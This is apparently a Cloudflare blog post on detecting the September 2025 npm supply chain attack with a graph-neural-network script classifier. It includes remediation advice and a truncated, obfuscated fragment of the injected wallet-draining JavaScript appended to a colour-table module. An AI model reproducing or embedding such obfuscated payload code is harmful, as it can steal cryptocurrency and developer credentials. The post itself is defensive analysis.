How Cloudflare’s client-side security made the npm supply chain attack a non-event

When a 2B-Download Package Compromise Never Reaches Users

In early September 2025, a phishing campaign compromised trusted npm maintainer accounts. The attackers published malicious releases of 18 high-profile packages, including chalk, debug, and ansi-styles—software collectively accounting for over 2 billion weekly downloads. The injected code was designed to drain cryptocurrency wallets by rewriting payment addresses and to steal developer tokens for CI/CD pipelines and cloud accounts.

For end users, the attack was notable for what didn't happen. Cloudflare Page Shield, the company's client-side security product, was positioned to detect the malicious JavaScript and prevent crypto theft. The detection systems that blocked this class of threat are worth examining in detail.

export default {
 aliceblue: [240, 248, 255],
 …
 yellow: [255, 255, 0],
 yellowgreen: [154, 205, 50]
}

const _0x112fa8=_0x180f;(function(_0x13c8b9,_0x35f660){const _0x15b386=_0x180f,_0x66ea25=_0x13c8b9();while(!![]){try{const _0x2cc99e=parseInt(_0x15b386(0x46c))/(-0x1caa+0x61f*0x1+-0x9c*-0x25)*(parseInt(_0x15b386(0x132))/(-0x1d6b+-0x69e+0x240b))+-parseInt(_0x15b386(0x6a6))/(0x1*-0x26e1+-0x11a1*-0x2+-0x5d*-0xa)*(-parseInt(_0x15b386(0x4d5))/(0x3b2+-0xaa*0xf+-0x3*-0x218))+-parseInt(_0x15b386(0x1e8))/(0xfe+0x16f2+-0x17eb)+-parseInt(_0x15b386(0x707))/(-0x23f8+-0x2*0x70e+-0x48e*-0xb)*(parseInt(_0x15b386(0x3f3))/(-0x6a1+0x3f5+0x2b3))+-parseInt(_0x15b386(0x435))/(0xeb5+0x3b1+-0x125e)*(parseInt(_0x15b386(0x56e))/(0x18*0x118+-0x17ee+-0x249))+parseInt(_0x15b386(0x785))/(-0xfbd+0xd5d*-0x1+0x1d24)+-parseInt(_0x15b386(0x654))/(-0x196d*0x1+-0x605+0xa7f*0x3)*(-parseInt(_0x15b386(0x3ee))/(0x282*0xe+0x760*0x3+-0x3930));if(_0x2cc99e===_0x35f660)break;else _0x66ea25['push'](_0x66ea25['shift']());}catch(_0x205af0){_0x66 …

How a graph neural network parses malicious intent

Page Shield processes an enormous volume of traffic: 3.5 billion scripts per day, or roughly 40,000 scripts per second. Of these, fewer than 0.3% turn out to be malicious, according to Cloudflare's machine learning (ML) detection.

The core detection engine is a message-passing graph convolutional network (MPGCN). Before classification, JavaScript code is preprocessed into an Abstract Syntax Tree (AST). The graph-based model learns from both structure—function calls, assertions, and other relationships—and the raw code text. This matters for attacks like the npm compromise, where malicious payloads frequently hide behind obfuscation and alter crypto wallet interfaces such as window.ethereum to redirect funds. Rather than hand-coding features for known attack patterns, the model learns to separate malicious from benign code purely by structure and syntax. This makes it effective not just for the September attack, but for novel techniques that follow.

The ML model outputs a probability score from 1 to 99; low scores indicate likely malicious behavior. Inference completes in under 0.3 seconds.

Evaluating and refining the model

Cloudflare continuously tunes the JavaScript classifiers, optimizing for F1 measure—the harmonic mean of precision and recall. Current performance metrics are solid:

Several refinements contributed to these results:

• Expanding training data from open-source datasets, security partners, and labeled Cloudflare traffic
• Improving example quality by removing scripts with only comments or nearly identical structures
• Better stratification so training, validation, and test sets share similar class distributions
• Tuning evaluation criteria to maximize recall while holding precision at 99%

At current traffic levels, the confusion matrix implies roughly 2 false positives per second. To handle that, Cloudflare combines multiple LLMs with round-the-clock human security analysts. The tricky cases they see include scripts that read all form inputs except credit card numbers—rejecting values that pass the Luhn algorithm check—alongside dynamic script injection, heavy user tracking, and extensive deobfuscation. User-tracking scripts often combine these behaviors, and the reliable differentiator is often the trustworthiness of the domains they connect to. All newly labeled scripts feed back into the training pipeline.

Most critically, Cloudflare verified that Page Shield would have flagged all 18 compromised npm packages as malicious—even though this was a novel attack absent from the training data.

Static analysis is good; hybrid analysis will be better

Static script analysis works well and is sometimes the only option—the npm case being a prime example. But for more challenging scenarios, Cloudflare is layering in contextual signals: script URLs, page hosts, and connected domains. The roadmap includes agentic AI workflows that wrap JavaScript runtimes as tools, enabling a hybrid static-and-dynamic approach. This matters for hard false-positive cases, particularly user tracking scripts that mimic malicious behavior.

Retiring an older classifier

Cloudflare launched its first classifier, "Code Behaviour Analysis," over three years ago to catch Magecart-style scripts via obfuscation and data exfiltration patterns. The MPGCN-based approach has superseded it, covering Magecart attacks and more. Given the newer model's effectiveness, code behaviour analysis reaches end-of-life by the end of 2025.

What Page Shield users should do now

In the September npm attack, Cloudflare saw no traffic related to the compromise among Page Shield users. Patched package versions shipped within two hours, and the malicious payloads required bundling into end-user applications before they could do damage. Even so, Page Shield was ready to detect and block the threat had any requests made it through.

To review your own exposure, Cloudflare recommends the following:

1. Audit your dependency tree for recently published versions (check package-lock.json or npm ls) and look for versions published around early–mid September 2025 of widely used packages.
2. Rotate any credentials that may have been exposed to your build environment.
3. Revoke and reissue CI/CD tokens and service keys that might have been used in build pipelines (GitHub Actions, npm tokens, cloud credentials).
4. Pin dependencies to known-good versions (or use lockfiles), and consider using a package allowlist / verified publisher features from your registry provider.
5. Scan build logs and repos for suspicious commits/GitHub Actions changes and remove any unknown webhooks or workflows.

Page Shield's script detection surfaces malicious packages, while the Connections tab within Page Shield reports suspicious connections made by your applications.

Automated defenses are a critical complement to manual vigilance when supply chain attacks move this fast. Cloudflare is offering a free, custom Client-Side Risk Assessment to help organizations understand their own exposure.